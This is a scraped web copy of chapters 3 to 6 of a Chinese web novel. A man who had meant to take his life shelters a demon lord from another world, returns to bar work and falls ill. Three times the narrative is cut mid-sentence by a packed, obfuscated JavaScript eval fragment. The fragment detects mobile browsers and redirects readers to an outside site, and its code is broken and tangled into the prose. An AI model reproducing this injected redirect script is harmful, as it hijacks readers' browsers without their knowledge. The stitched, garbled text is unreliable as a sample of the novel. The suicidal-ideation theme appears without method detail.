《想死，但捡到长发男》 3. 第 3 章 孔建在荣安的小夫妻店离不开人，虽然不知道苏明峻是因为什么原因生出轻生的念头，又在一夜间消失，但总归见过人后确定他现在的状态尚可，孔建吃过火锅又回去了。 苏明峻要送他，孔建没让，于是苏明峻自己又溜溜达达往家走。 昨夜的雪一早停了，上午又闷了半天天气，现在正中午时，太阳终于出来了。 阳光下他昨夜里准备跳楼——后来又被自称魔尊的家伙占了的那块地儿上，伏爻正坐在不知道从哪里来的塑料板凳上，看起来在等他。 他倒是聪明，知道换上自己留在沙发上的一套衣服。除了头发还是长的，眼睛还是绿的，已经勉强能够融入他们这儿的老旧街道了。 苏明峻向他走过去，刚走近，一楼王姨的窗户就推开了，王姨的厨房正对着他们这，大声招呼他，问他吃没吃饭，自己卤了鸡腿。 苏明峻说不用了。 他料想王姨肯定还有别的话要说。 果然，王姨问他身边那个看上去神神叨叨精神不正常的小伙子还有没有别的身体疾病，说自己在老家有个侄女妹子，就是喜欢看帅哥的脸，不在乎帅哥脑子好不好，可以介绍他俩成个家。 苏明峻嘴角一抽，再看身边的伏爻，这位魔尊大人明显已经忍到了极致，脸黑的跟锅底似的，赶紧婉言谢绝，拉着人回了家。 没等他问，伏爻主动交代：“我醒来看你不在，想出门看看，然后门关了，我进不来了。” “再然后？” "楼下这些老人家发现了我，围着我问东问西，最后说我脑子有问题。"伏爻顿了顿，“但他们人不坏，给了我很多吃的。还给了我个皮筋。” 伏爻边说边指了一下自己的头发，苏明峻这才反应过来他的那一头黑发现在是扎着的。露出魔尊大人面如冠玉的脸和两颗绿宝石似的眼珠子，难怪王姨说要给他介绍给自己那个喜欢帅哥脸的侄女。 拿了大爷大妈们的吃的和皮筋，所以即便被说精神不正常，这位“大爷”也忍着没有对老人家们动手。 苏明峻忍笑：“你是不是又和他们说什么九墟渊境和魔灵之力的事了？” 伏爻面无表情，“我和他们说我在找回家的路，他们问我家在哪里，我就说了。” “昨天我应该提醒你的，我们这个地球上应该没几个人会知道你们那个九墟渊境，”苏明峻尽量措辞严谨，“而且我们这边有的人如果成天说一些别人听不懂的话，冒出一些别人从没听过的地名或者东西，是会被当成脑子有问题的。” 伏爻说：“我脑子没问题。” 苏明峻安抚：“好好好，我知道你没问题。” 伏爻忽然又问：“你失业了？” “对啊。”苏明峻下意识回答，答完又想起“失业”这个社会化程度这么高的词汇居然是从伏爻口中说出来的，不由得用探究地眼神望向他。 伏爻又问：“失业是什么意思？他们还说有个女生原本想介绍给你成家，但是你失业在家还不找工作，太不求上进了。” 苏明峻：...... 被这些热心肠的街坊邻居无差别攻击了。 虽然他并不打算相亲乃至成家，但是这些街坊邻居的评价倒也没说错。 苏明峻和伏爻简单解释了一下“工作”、“失业”和“工资”的意思，总结道：“我的工资快花完了，所以我这间房子也只能租到过年后十五天。” 伏爻点点头，继续疑惑：“那你为什么不找工作？” 苏明峻微笑：“不找工作有不找工作的活法。” 就是去死。 伏爻约莫是想起来苏明峻在昨天夜里那惊天一跳，他犹豫道：“你......还会跳吗？” 他昨夜里硬生生把苏明峻从半空中拉回来的一个动作已经把他体内所有的灵力都给逼发出来，这里又几乎没有灵力可供修炼，要是苏明峻再跳一次，他只能给苏明峻收尸了。 苏明峻不答反问：“会跳又怎么样，不会再跳又怎么样？” 伏爻沉默了。 千百年的光阴，他并非凭空坐上九墟渊境之主的位置，濒死的险境他都遇过无数回，只要他稍稍心力动摇，他早就死无葬生之地。但活着又未必比死轻松，他也常常觉得活着不如死了。可是他还是想活着。 在他看来，只要还活着，就永远还有最后一张可以翻身的底牌。 所以原来在九墟渊境，他最看不起的就是轻易寻死觅活之人，若是这些寻死觅活的人犹豫了后悔了，他还会看心情决定要不要推他们一把。 但是对着苏明峻，他莫名地说不出这种话来。 苏明峻与他身边出现过的每个人都不一样，苏明峻要自己决定要死了还来救他，被他拿刀挟持拿手掐了脖子也不生气，给自己吃的穿的，教自己在这个异世中生存...... 伏爻不想推他去死，只想要他活着。 他干巴巴道：“你别跳了，你再跳，我再救不了你。” 说完又怕苏明峻听自己救不了后更下定决心要跳，又继续编瞎话补充：“救也救得了，就是把你救回来以后搞不好真缺胳膊少腿，我就把你卖给那个喜欢看脸的女孩子。” 苏明峻：......还挺会活学活用。 苏明峻叹了口气，“我不跳了。” 伏爻一顿，“真的？” “真的。” 原是很想跳的。 但是一边是捡了个麻烦，莫名觉得自己背上了把这个麻烦送回原处的责任。一边是与孔建刚见了一面，他要是转头就跳楼死了，孔建这家伙得内疚一辈子。 当务之急，是先找个工作，把房租续一续。 苏明峻叹了口气，重新打开手机，问原来的人事，说自己又想工作了，能不能帮忙推几个公司。 人事的消息回的很快，说现在是年前，大部分公司都关闭招聘了，即便现在给了offer公司也会为了省一笔人力成本让他年后入职，让他年后再来问。 一条路就堵死了。 正经工作是找不着了，苏明峻望着自己可怜的余额发了会呆，又开始循着记忆狂翻朋友圈，终于在某位做酒吧的穆老板的朋友圈里找着一条招看台服务员的消息，发过去询问。 这还是他读大学时候被兼职群的姐姐推荐的，干了几个月，挣得确实多，但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716367|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够磨人，后来还叫他爷爷奶奶知道了，偷偷抹了好一会眼泪，苏明峻此后便再也没干了。 果然年底是酒吧的高峰期，他这会把“求职意向”一发，穆老板倒还记得他，很痛快地叫他随时来，还说给他开六千的底薪，提成给他五五分。 苏明峻松了口气。 把当年压箱底的那些花了点钱买的骚包衣服又翻出来。 虽然看台服务员有自己的制服，但毕竟还要去和穆老板他们见一面，要是让他们觉得自己没有以前的感觉了，搞不好底薪和分成上还得动一动。 苏明峻回卧室换了衣服照镜子，又望着自己长长了些的头发有些发愁。 想了想，他走出卧室，正与看向他的伏爻对上了眼，他不客气地伸出手：“把刚才王姨他们给你的皮筋借我用用。” 眼前的年轻又高挑的英俊男人穿了件黑色衬衫，领口扣子解到第三颗，露出里面小麦色的肌肉线条，裤子也是黑色的，衬得那双腿又长又直，全身的黑色之下，只有左耳垂上有一颗银色的耳钉闪烁——伏爻被这银色闪了眼，忍不住又看了他好几眼，才反应过来苏明峻是在向他要皮筋，伸手将皮筋取下递给他，不敢相信：“你......你怎么一下子就这样了？” 灰扑扑的厚重羽绒服，鸡窝头，拉碴的胡子和黑框眼镜挡住了半张脸。 形成了魔尊大人固有印象里的苏明峻。 苏明峻不知道自己给眼前人带来了多大的震惊，他用那根粉色橡皮筋把自己略长的头发在脑后扎了一个小揪揪，对着家里唯一一个半身镜训练了一下许久没背用过的“勾人的笑”，满意地点了点头。 还行还行，只要场子里不出现那种逆天的大帅哥，年前还是能至少把下半年的房租挣回来的。 他难得自恋一会，忽然又听见一声熟悉的动静。 伏爻的肚子叫了。 伏爻：...... 伏爻原本还在镜子的一角偷摸着多看几眼苏明峻现在的模样，忘了自己的饥饿感。 可惜他的脑子忘了，肚子没忘。 他看向苏明峻，表情里有点理直气壮的无辜。 苏明峻：...... 得，自己出去和孔建吃火锅，忘记家里还有只嗷嗷待哺的生物了。 光靠邻里邻居上午投喂的那点小零嘴，确实填不饱魔尊大人这一米八大高个的肚子。 苏明峻说，“你等我会。” 于是又戴上那幅黑框平光眼镜，套上那件灰蓬蓬的厚重羽绒服，瞬间似乎又恢复成第一次和他见面的模样，下楼了。 伏爻望着他的背影出了会神。 没一会工夫，苏明峻便提了一兜子东西上来，里面有昨夜里见过的方便面，还有些面包和罐子装的粥。苏明峻一一教会他怎么开包装怎么用微波炉热了吃，等伏爻吃上“饭”，也到了该出门的时候。 他这回给伏爻留了片家里的钥匙，想了想又叮嘱道：“最好还是别出门，就算出去了就在这楼底下走走，别走远了。” 毕竟伏爻这家伙看起来就与众不同，一张嘴更是“与众不同”，万一叫人报警带走了，他怕伏爻会被送去精神病院。 4. 第 4 章 几年不见，穆老板的生意越做越大，酒吧都开了连锁，现在招人的是城西新区的一家“穆色”，离苏明峻的出租屋十万八千里。苏明峻地铁倒公交折腾了仨小时，抽空在路边吃了个晚饭，到酒吧门口正好八点。 穆色晚上八点半开门营业，穆远坐镇新店，亲自出门接苏明峻。 穆远自己也生了一副好样貌，据说最开始盘下穆色时候是靠自己这张脸和无底洞似的酒量拉客，后来生意好了，他才下了一线，只有逢年过节和重要客户来的时候出来露个脸。 苏明峻正有些受宠若惊，又听穆远说话，才想起来今晚上是平安夜，正是十二月除了三十一号之外生意最好的两天。 只怪他这些日子过得浑浑噩噩，连坐地铁公交时看到圣诞节的广告都没反应过来。 他看着穆远，穆远也打量着他，片刻咧嘴一笑，“行啊明子，工作了几年不仅没秃头，人还是这么帅气依旧，我的新店就靠你打招牌了。” 苏明峻听他胡咧咧，跟着吹水几句，就被正缺人手的经理拉去换了衣服。 长得好看的帅哥做看台，好处是客人的确源源不断，其中不乏出手大方者，只是苏明峻不是真来做皮肉生意的，光是记新酒单上花里胡哨的明目就够他喝一壶，还要调动心神见人说人话见鬼说鬼话地提供情绪价值，免不了再陪着喝几杯酒，他多年不做这行，撑到凌晨四五点客人散尽，他换着衣服都快一头栽下去睡着。 穆远估计是知道他缺钱，临走给他兜里塞了个大红包，把一晚上提成没分成全给他了。 苏明峻也不同他客气，摸着红包厚度道了句谢，路上拦辆出租车，说了位置，往座位上一扎，摇摇晃晃昏睡过去了。 四轮车进不去苏明峻那个老巷子的深窄路，苏明峻迷迷糊糊醒过来，强瞪开眼皮着往里走，幸好碰上出来晨练的热心老爷子，“护送”他一路到家。 他脑袋正昏沉，还在浑身上下摸钥匙，忽然见家门从里面开了，露出一双绿幽幽的眸子。 伏爻便眼睁睁看着苏明峻瞪着双眼失焦的眼睛向自己笑笑，然后径直走向洗漱间，水声响了一阵，从洗漱间出来，或许是觉着他的卧室比客厅冷，又走出到客厅一头栽下沙发上似乎又睡了。 苏明峻原本还困得厉害，下了车在大冷天走一段路也祛了睡意，这一会便没能睡多久，只半梦半醒眯着，感觉到有人坐在自己身边盯着自己，苏明峻定了定神，睁开眼睛。 果然见伏爻坐在沙发的另一头盯着他。 苏明峻头一次被这么盯着，霎时头皮发麻，“你这么盯着我干嘛？” 伏爻不答反问，“你为什么一整夜没回来？” 苏明峻大感稀奇，眼下却不知道该怎么回答他，正愣在那里，又见伏爻皱着眉头，“夜里危机四伏，我现在灵力尚未恢复，若是你出了什么事，我无法救你。” 苏明峻听见又觉得好笑，那点不适感全被憋笑的痛苦盖过去，见伏爻表情愈加不满，才堪堪停住笑容，耐心同他解释“现代法治社会的安全指数”。 这事比起家电的用法来更难解释，伏爻认真听了又问，总算大概明白苏明峻即便是一夜未归，大概率是不会出什么安全问题。 苏明峻打了个哈欠，他推伏爻，“你换个地方坐去，我晚上还要再去上班，现在再睡会。” 伏爻说，“我也要睡。” 苏明峻说：“你睡了一晚上还不够？魔尊这么缺觉？” 伏爻冷哼：“你少聒噪。若不是怕你有事，在你出门前留了一丝灵力在你身上，时时盯着，本尊怎么会累。” 说着也不理他，从他身下抢了自己的毯子，又向着另一头睡了。 苏明峻早听伏爻说自己的的灵力耗尽，这又硬生生逼出一丝放到自己身上，一时无话，只能不和他抢沙发，回到自己卧室开着小太阳补觉去了。 这回补觉前苏明峻订了个吃中饭的闹钟，铃声响了便爬起来，正想问问伏爻吃什么，发现伏爻没在家，透过窗户往下一看，发现伏爻这回坐在楼下老大爷下棋的马扎上，又坐在一块地方听老头老太们聊天。 苏明峻心头一动。 总让伏爻待在家里没事情做也不是个办法。 要么给伏爻找些事情做，至少先了解这个“世界”是怎么运转的。 苏明峻心里有了主意，推开窗户喊伏爻上楼，顺便给他“展示”了一下外卖的用法。 谁料这件事伏爻接受的很快，他甚至理所当然：“本尊要什么东西自然是其他小魔跑腿送来。” 苏明峻：…… 他想起正事，问伏爻识不识字。 他已经准备给伏爻去买点二手小学教材，伏爻却说，“你们这里的字与我们六界中的用字有相似之处，我这些天看了些字，能认得差不多。” 这倒是方便许多，苏明峻松了口气，才说，“那下午你和我一起出趟门，我送你去图书馆，你可以看看书，一则了解一下这里，二则可以找找有没有你们那什么六界的线索。” “图书馆？”伏爻想了想，“藏经阁？” “可以这么说，”苏明峻笑笑，从另一个外卖袋子里掏出一副美瞳，“但是要出门，你最好给自己眼睛换个颜色。” 伏爻一顿，“换成你们这样的颜色？” “对。”苏明峻准备先自己给伏爻示意一下美瞳怎么戴，就见到伏爻闭了闭眼，再睁开时那双眼眸就变成了与自己无差的黑褐色。 苏明峻震惊，“你怎么做到的？” “大惊小怪，化形是魔族的基本能力。”伏爻对他的惊讶有些不屑，又有些受用，“若不是此地灵力受限，以本面目示人最为省事，本尊甚至可以化作一缕风。” 苏明峻讷讷：“……见着真孙悟空了。” “什么空？” 这要解释清楚就更难了，苏明峻摇了摇头，“没什么。你吃饱没？” 伏爻不满道：“我又不是饭桶。” “饭桶”这么老派的“新词”，大概是伏爻从楼下爷爷奶奶们口中学来的。 苏明峻乐道：“我关心你还不行了？” 除了第一餐的泡面，伏爻的饭量比他起码小了一半，和苏明峻以前认识的减肥的小姑娘的饭量差不多。伏爻说自己是“吸收能量”不是吃饭，“吸收”多了反而增加身体负担。苏明峻听不明白区别，就是常常觉得他会饿着自己。 既然伏爻说不用再吃了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716368|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏明峻就把垃圾收拾了，又换了另一套衣服，带着伏爻出门。 出门前又想起什么，跑回脏衣篓里抓出厚外套翻兜，伏爻在门口等他，没一会便见苏明峻笑着从小阳台上快步走过来，手上还举着根……发簪？ 伏爻接过苏明峻塞到手里的发簪，入手冰凉凉的，墨绿色。 “昨天路上看到有人摆摊卖发饰，我觉得你应该更习惯用这个。”苏明峻说，“正好你的橡皮筋昨天也被我弄丢了……不过你能化形，也可以变成短发吧——” 他话音未落，伏爻把发簪夹在指尖，也不知手上怎么动作，几下便已经将那头黑发挽成一个髻簪上了。 苏明峻不懂发型，但伏爻这手确实厉害，挽了发髻不显得像女生也罢了，竟还显得他多了几分潇洒。 把那根几块钱的塑料发簪都衬得贵了几倍。 苏明峻忍不住多向他头上看了几眼，伏爻自然注意到他的目光，有点得意，又撇撇嘴：“你们这些凡人，也太看重皮囊了。” 苏明峻说，“我是看我买的簪子，又没看你。” 一句话叫魔尊大人下了面子，一路上便不理他了，只抻着脖子到处看景色。 苏明峻为了让他多见见城市景色，带他坐的公交，下午这个点人还不多，二人坐在窗户旁的空位上晃晃悠悠到了图书馆，苏明峻先给他指了回家去哪里坐同一趟公交，再说晚上不用等他下班自己去睡觉，又叮嘱他在其他人面前千万别一口一个“本尊”——最好别说话最安全，见伏爻从认真听讲到逐渐无语，才刷自己的身份证把他送进去。 图书馆的确是给伏爻的好去处，此后一连许多天，他二人的作息都稳定了下来：苏明峻整夜上班，白天补觉，快到下午吃完饭就和伏爻一起出门，送他到图书馆后再开始上这天的班。 他补觉的时候伏爻就下楼听楼下爷爷奶奶们聊天，偶尔走远一些听听其他人，回来顺便把外卖或者快递带回来。 苏明峻给伏爻买了张床。 小出租屋的沙发太小，平时眯一会就算了，要彻夜睡觉就太难受了。 被压缩后的沙发床重得要命，没有电梯搬上楼还要给快递小哥加搬运费，苏明峻穷人思维作祟，想着反正魔尊大人力气大，不用白不用。 伏爻听说自己的劳动力值四十块钱，眉头跳了跳，敢怒不敢言。 唯一表达“愤怒”的方式就是拒绝再和苏明峻一起出门去图书馆——他要留在家里，把旧沙发卸了，等苏明峻叫的回收来收，还要把新的沙发床装好。 终于有一天魔尊大人的绿眼睛里也能有活了。 苏明峻十分欣慰。 生出一种养儿子的父爱。 当然这话没敢让魔尊大人知道，只是走出房门才乐了半天。 今天是跨年夜，穆远自然早早来了“穆色”坐镇，见苏明峻来，笑道：“今天心情这么好？” 苏明峻笑着同他寒暄两句，又见穆远冲他挤眉弄眼，说今天来一贵客。 怎么个“贵法”？ 是当年就在大学城店冲着他几乎天天来消费的一个，知道他苏明峻又回“穆色”新店上班了，现在当了大老板还特地跑来支持他生意，学长辛江。 5.第 5 章 苏明峻记得辛江。 大学里就常泡吧的一个花蝴蝶，原先一直是混gay吧的，因为对他有点那方面的意思才改常来“穆色”。 可惜苏明峻直得堪比钢筋，对辛江烦不胜烦。 后面反正不做了，偌大一个云昌大学躲着倒也容易，慢慢躲着也等到了辛江消停。 谁想到几年后他竟然还记得自己。 苏明峻心里有点烦躁，但眼下倒不是当年横眉冷对千夫指的苏明峻了，他对穆远的挤眉弄眼视而不见，反笑道：“是吗？那可得好好宰学长一顿，给穆老板多挣点钱。” 穆远也跟着笑了，“我还说你没变呢，还是变了不少。” 苏明峻叹了口气，“要吃要穿要住房子，哪能不变。” 穆远深以为然，他拍拍苏明峻，“这两天挺多女性客人冲你来的，我想叫人给你拍点你的工作视频做宣传，成吗？” 苏明峻看着他，穆远乐道：“提成不五五了，七三。” “成交。” 都七三了，苏明峻干得更起劲，别说是一个辛江，就是辛河辛湖辛海一起来，他都能给哄得明明白白。 但是出了穆色的大门，他是一点劲都提不起来，更别说给什么好脸色。 凌晨四点半，暴雨倾盆。 豪车停在穆色正堵的水泄不通的门口，辛江坐在后排摇下车窗，要送苏明峻回家。 苏明峻皮笑肉不笑，“不必了学长，我家里住的地方太远，不顺路。” “送你，去哪都顺路。”辛江殷勤非常，似乎开车受累的不是司机而是他。 堵在穆色门口，豪车屁股后面的车快把喇叭按爆，又没车敢真挨着豪车的边超它，后面越堵越厉害，苏明峻见辛江仍然笑意盈盈不急不慌地看着他，无奈取消了远在几公里外调头堵车的网约车，坐上了辛江的豪车。 苏明峻报了个巷子外宽敞好停车的地点，头一歪，开始装睡。 车开得慢些还好，开过堵点加速转个弯，辛江就要把他摇摇晃晃的头往自己身上揽，苏明峻被他身上的香水味刺得一个激灵，也装不下去了。 辛江打开小冰箱，拿了瓶水给他，“穆老板说你是没找着工作才重新回穆色来，要不要到我公司试试？” 苏明峻说自己和穆老板合作得挺好，暂时不想换工作。 辛江也不再强求，柔柔一笑，“那么租我的房子呢？我有处小房子就在新区，离得穆色近，你现在租金多少就给我多少就好。” 这软饭来得猝不及防，但也属于意料之中。 苏明峻摇头，说自己和房东也处得不错，不准备换地方租房。 辛江笑道：“你那里来穆色，地铁转公交得三个小时吧？” “两个多小时，”苏明峻也不瞒他，“现在能踩准点了，快的话一不到两个小时也能到。” 他原也是想过等攒些钱就改租城西新区的房子，但是新区为了吸引高质量居民，老房子拆了，新房一水的都是两百平以上的大平层，就是有业主出租，他也租不起。 而是他回家除了吃饭就是睡觉，花那么多钱租回来，难道只为了给伏爻提高生活质量吗。 想到伏爻，苏明峻又有些头痛，供着这尊佛——哦不，这尊魔头——虽也不费事，尤其是这几天伏爻老老实实去图书馆吸收关于现代社会的基本常识，二人相处得异常和谐，总让他有种“孩子静悄悄，一定在作妖”的提心吊胆。 脑袋里想着另一件事，与辛江的对话难免敷衍了些，辛江人精似的，自然听出来他的心不在焉，后面倒也知趣地不再说了。 一片寂静中，车身刹停，他给的定位已经到了。 定位是一个小社区公园，公园门口的两盏路灯坏了一盏，只有一盏还在暴雨下昏晦不明地发着黄色的光，隐约着还能看见光下站着一个举伞的人影。 辛江说雨大，还要司机把车往巷子里再开，没等司机为难，苏明峻已经说不用，万一剐蹭了车，他心里过意不去。 辛江于是让司机去后备箱给他拿车上的配伞给他。 这种车的配伞起步五位数，苏明峻又拒绝了，免得辛江再坚持，索性在司机开锁准备下车时自己先下了车，被暴雨浇了一头。 辛江急着落下窗户怪他怎么这么着急，忽见不知从哪里走出来一个举着大伞的男人，遮住了苏明峻。 苏明峻和他同样意外，侧头一看，才发现方才昏暗路灯下举伞的人竟是走过来正给他撑着伞的伏爻。 苏明峻松了口气，忙对辛江说自己朋友已经来接，不需要再麻烦他。 再三道谢，辛江叹了口气，最后留下一句，“那今天我们也算一起跨年了”，才升起窗户离开。 “你怎么在这？” “你烦他？” 二人同时开口，苏明峻看向伏爻，有些意外：“不会吧，我烦他这件事表现得这么明显？” 伏爻一挑眉，又示意苏明峻回头。 苏明峻不明所以地回头，只见刚才开走的豪车在拐角处亮起了停车的车尾灯，司机从驾驶室上下来，走到后轮胎处看了一会，顶着大雨打开后备箱换备胎。 苏明峻问：“你做的？” “对啊，没用灵力。”伏爻把他从回头的状态拽回来往家走，“只是随便踢了块小石头。” “随便”。 能踢一块小石头就让这种车的车胎废到必须得换备用胎的地步，苏明峻问：“你从哪学来的？” 这回伏爻有些得意了，“昨天刚看了本讲汽车的书。” 苏明峻没有回应他的得意，只是问他：“你看到刚才下来淋雨换轮胎的人了吗？” “看到了啊，他的仆人嘛。”伏爻又补充，“按你们的说法，叫下属，对吧。” “对。”苏明峻点点头，“我只是烦那个坐车的人，但是你踢了块石头让车爆胎，遭罪的反而是开车的人。” “怎么了吗？”伏爻不明白，但是想了想，又说，“你要是还不解气，我下回直接把石头丢到车里去砸那个坐车的人。” ...... 苏明峻觉得自己在车上为这尊魔头发的愁并非毫无道理，他说，“我们这是法治社会——你应该明白法治社会的含义了吧？” “我知道。”伏爻说完两个字，沉默片刻，只听见密集的雨点噼里啪啦地砸在这把伞上，雨珠顺着伞脊蹦到外面的路面上，也蹦到苏明峻的脸上。 苏明峻换了个话题：“你怎么不拿两把伞出来？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725480|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 伏爻闻言，侧过头来看他：“我把你家里都翻遍了，只有这一把伞！” ...... 苏明峻无法反驳。 原来奶奶还活着，身体还走得动的时候，有时候赶上小商铺做活动，家里会时不时多一两把印着大花广告的伞，虽然伞薄如纸，一般的雨天也够用了。只是奶奶走了，孔建不愿意他睹物思人，陪着他一起把这些伞也都清理了。 再后来的下雨天，苏明峻自然只用买一把伞。 伏爻并不知道他的思绪飘到了何处，他仍然在苏明峻上一句的问话里打转，这回转过弯来，更加恼怒，“我又没犯法。而且我不是你们的人，你们的法律管不了我。” 没法沟通了。 伏爻也不顺心，“我见你没带伞出门，担心你淋雨还专门来这等你，你还对我这有意见那有意见没完了！” 苏明峻哑口，只是头痛得更厉害，一句话都不愿再说，要死不活地走到家里，苏明峻冲了个澡，再一次倒头昏睡过去。 他睡得昏天暗地，感觉闹钟响了身体还不想动，想要伸手关掉闹钟，但是胳膊使不上劲抬不起来。 算了。 但是没能算了。 他感觉伏爻循着闹铃声过来，坐在他身边不停拍他，边拍还边叫他的名字。 这家伙时不时还怀恨自己几个小时前没表扬他踢的那块小石子？苏明峻勉强掀起眼皮，却见伏爻面上尽是惊慌的神色：“苏明峻，你终于醒了！你身上好烫！” 难怪，原来是发烧了。 错怪这大魔头了。 这时候终于觉着家里多一个生物的好处。苏明峻指挥着伏爻拿他的手机买了退烧药，又烧了热水，折腾了快一个小时，总算感觉活过来些。 伏爻时不时过来摸他，等他终于退烧，才跟着松了口气：“在我们魔族，快死之前身上才会发烫。” “这是发烧，连着太久昼夜颠倒，又淋了场雨，正常现象。”苏明峻笑笑，“谢谢啊。” 伏爻撇嘴，“昨天的事你还没谢我呢。” 其实是今天凌晨。 不过苏明峻没有纠正他，从善如流道，“谢谢你特意来接我。” “但是......” 伏爻盯着他，苏明峻还是说出口，“我烦那个人是我的事，不用你做什么。” “我知道你是好意，”见魔尊大人立马变脸，苏明峻赶紧安抚，“但是这么做确实不对，而且你也没有麻烦到那个人，你只是让他的下属淋到了雨。” 他这话说得有些急了，止不住咳了几声。 伏爻原本都站起来要走，听他咳嗽，又拐去给他重新接了热水，强硬地塞进他手里，硬邦邦道：“在我们魔族，惩罚仆人就是让主人最没脸的事。” 苏明峻感觉自己理解了一丁点他的意思，“但是我们这里人和人都是独立的，老板花钱雇我，我就给老板做事。比如我现在就是给我的老板打工，如果有人和我老板有仇，但是他跑来打我——” 伏爻眉头一紧，“谁？” 苏明峻无奈，“我说如果。” 伏爻便不说话了，等苏明峻把水一口一口都喝光了，才听见魔尊大人不情愿地说，“好吧，我知道了。” 6.第 6 章 吃完姗姗来迟的外卖，苏明峻又拍了拍脸，准备站起来重新收拾自己出门的行头。 伏爻提醒他：“你还有药没吃。” 苏明峻“嗯”了一声，“等会要喝酒，这几种药先不吃，等回来再说。” 伏爻“腾”地从床边站起来，“你不是在生病吗？不吃药还要上班去喝酒？” 元旦假的第一天，属于除了前一天跨年夜的次高峰，店里缺人，他也正缺这个挣钱的时机。苏明峻没力气和伏爻再解释这么多，只是点点头。 伏爻却扯住了他手里的衬衣不让他换，“我看过你们的那些法律，知道你们工作不用天天都去，生病可以请病假。” “可以请，”苏明峻无奈地看着他，“但是不上班就挣不到钱。” 伏爻问：“你要挣多少钱？” 苏明峻轻轻叹口气：“总要把下一年的房租和生活费挣到。” 实际上，这间小出租屋的房租算得上是云昌房租比较低的一档了，他连轴转这一周，再加上穆远给他预支的第一个月工资，已经够了。即便差也不差这一两天。但是苏明峻这些天往返出租屋和穆色，的确觉得天天这样下去不是个办法，过长的通勤时间消耗掉他太多的剩余精力，连叫出租车都还要下车走一段才能到家，再来几次昨天那种情况，他不刻意寻死也会迟早被累死。即便租不起城西新区的房子，稍微往河西老城靠一些也是好的。 可这些琐事要是和伏爻解释起来就太麻烦了。 伏爻果然不懂，皱起眉头，“不是说今年还可以住十多天吗？明年的房租等到明年再挣都行，为什么非要急这两天。” 苏明峻没回答了，只用力拽了拽被伏爻攥了一角在手中的衬衫。 伏爻仍不肯放手，见苏明峻盯着他不说话，才松了松手指，焦躁地走到门口，又转身转回来，猛地抽走他手中还没换上的衣服，恶狠狠地问：“你那个工作，对员工有什么要求？” 苏明峻手上解扣子的动作一顿，狐疑地看向他，听他一字一顿地蹦出四个字：“我替你去。” 比起伏爻反复纠结后的提议，苏明峻几乎没有片刻犹豫就否决：“你不行。” 伏爻瞪他：“我为什么不行？楼下那些老人家都说我比你还好看。” 苏明峻瞧了一眼伏爻。 事实上，他对伏爻的脸已经很熟悉了，就算再多看更多眼，他也不会对伏爻口中那些老人家们的话发出任何异议。如果说苏明峻是现代社会传统审美上的正统帅哥，那么伏爻的脸配上那双绿眸，不说话不凶人的时候则更加偏向一种妖里妖气的美，乍一看的确更加吸睛。 “你又不是去当花瓶的，光脸好看没有用。”苏明峻说，“我在酒吧工作，工作内容是要讨好客人让客人消费的，为了让他们消费，要记各种酒单特色和价格，要说好听的话，要时刻维持着笑脸，还要喝酒，你能做哪个？” 他多说一项，伏爻的脸色就越僵一分，直到听到“喝酒”，伏爻才小声道：“喝酒又不算什么难事，只要我不想醉，就是把天下的酒喝尽了本尊也不会醉。” 苏明峻这下倒是有些好奇：“为什么？” “酒气入体才会醉，不想醉的话把酒气逼出来就是了。”伏爻想了想，伸手摸向苏明峻的肚子—— 苏明峻猛地向后一仰，打掉伏爻的手：“你干嘛？” “给你演示一下啊，”伏爻看着手上的红印，撇了撇嘴，“我又没喝酒，只有你身上还有酒气在，我要碰到你才能给你演示。” 苏明峻将信将疑地看着伏爻重新把那只手放到自己的腹部，伏爻的手其实有些凉，但是他覆上来的同时就伴随着一阵短暂的热意袭来，他并不觉得手凉，反而片刻后果然感觉身体松快不少，头脑也跟着清醒许多。 只剩下发烧的感觉难免还让他提不起劲。 苏明峻看着还在等待他给出回应的伏爻，感叹道：“早知道你有这能力，前几天就该让你给我用一用。” 伏爻不解：“我以为你喜欢喝酒呢。” “不喜欢。”苏明峻叹了口气，“好了，你很能干，但是去我那个工作还是不行，要不你就去图书馆，要么就在家里——” “你教我。” 苏明峻一顿，“什么？” “你教我，那些东西怎么卖，我要怎么说话，怎么笑。”伏爻认真地看着他，“我要替你去，你可以陪我。” 苏明峻哭笑不得：“你怎么这么犟？” 他才不是犟，他只是担心苏明峻。 因为驱散了苏明峻体内的酒气后，他的不适更加清晰地传到伏爻的感受中，虽然苏明峻说这种发热只是人族发烧时的正常情况，吃过药就会好。但伏爻还是担心这个脆弱的人类会像魔族似的突然死掉，又或者……这就是本来就有过寻死前科的苏明峻想在自己看不到的地方想另一种方式去死的的心计。 他不能让苏明峻就这么一个人走掉。 魔尊大人拿定主意后犟得没边，为了不耽误去穆色的时间，苏明峻不得不同意伏爻提出的这个方案。 